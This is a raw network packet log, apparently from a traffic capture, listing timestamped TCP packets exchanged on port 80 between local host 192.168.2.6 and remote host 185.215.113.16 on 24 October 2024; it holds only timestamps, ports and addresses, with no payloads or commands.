Oct 24, 2024 11:02:47.258238077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258250952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258263111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258275986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258280993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258287907 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258296967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258301020 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258322954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258323908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258337021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258349895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258351088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258362055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258373976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258378029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258387089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258398056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258404970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258410931 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258424997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258424997 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258452892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258467913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258479118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258480072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258492947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258505106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258513927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258522987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258527994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258539915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258548975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258550882 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258563995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258577108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258577108 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258601904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258619070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258665085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258677006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258688927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258702040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258713961 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258713961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258727074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258738041 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258738041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258752108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258757114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258765936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258773088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258784056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258797884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258800030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258811951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258824110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258826017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258853912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258877993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258892059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258925915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.258934975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258945942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258951902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258963108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.258987904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259004116 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259006977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259020090 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259032011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259043932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259053946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259082079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259175062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259186983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259200096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259212017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259215117 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259223938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259232044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259237051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259249926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259260893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259263039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259275913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259288073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259306908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259331942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259345055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259356976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259367943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259380102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259391069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259391069 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259402990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259407043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259417057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259429932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259439945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259443998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259458065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259468079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259471893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259484053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259485006 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259495020 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259506941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259512901 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259520054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259545088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259558916 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259577036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259588957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259601116 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259612083 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259612083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259624958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259629011 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259638071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259649992 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259649992 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259663105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259670019 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259676933 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259701014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259717941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259737015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259751081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259758949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259764910 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259778023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259780884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259789944 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259805918 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259810925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259823084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259833097 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259835958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259886026 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259886026 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259912014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259924889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259937048 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259948015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259959936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.259968996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.259994030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260034084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260046959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260059118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260070086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260076046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260082960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260094881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260099888 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260107994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260118961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260121107 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260133028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260152102 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260166883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260169029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260179996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260191917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260204077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260205030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260215998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260224104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260229111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260250092 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260251045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260262966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260270119 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260276079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260288000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260302067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260313988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260324955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260329008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260353088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260379076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260385036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260404110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260416031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260437965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260440111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260451078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260462999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260463953 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260477066 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260488033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260488987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260500908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260513067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260513067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260525942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260529995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260548115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260571957 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260581017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260603905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260618925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260631084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260637999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260643005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260657072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260668039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260670900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260683060 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260713100 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260768890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260782003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260792971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260802984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260814905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260818958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260827065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.260833979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260852098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.260874987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261049986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261090994 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261117935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261132002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261143923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261156082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261172056 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261198044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261209965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261223078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261234045 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261244059 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261245966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261260033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261264086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261284113 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261286020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261296988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261306047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261310101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261322021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261322021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261336088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261338949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261362076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261384964 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261516094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261528969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261540890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261552095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261554003 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261564970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261571884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261576891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261589050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261600018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261600971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261612892 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261621952 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261626005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261641979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261646986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261661053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261662006 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261677027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261687040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261687994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261701107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261704922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261713982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261723995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261740923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261750937 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261754990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261766911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261775017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261778116 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261785984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261796951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261801958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261811018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261822939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261823893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261835098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261852026 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261869907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261892080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261904001 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261914968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261926889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261939049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261941910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261951923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261960030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261964083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261975050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.261985064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.261997938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262010098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262017012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262022018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262036085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262042046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262058020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262080908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262263060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262289047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262300968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262307882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262325048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262339115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262348890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262361050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262373924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262383938 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262383938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262398005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262398958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262418032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262439966 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262504101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262520075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262531996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262542963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262554884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262562990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262567043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262579918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262590885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262592077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262605906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.262607098 CEST	49854	80	192.168.2.6	185.215.113.16
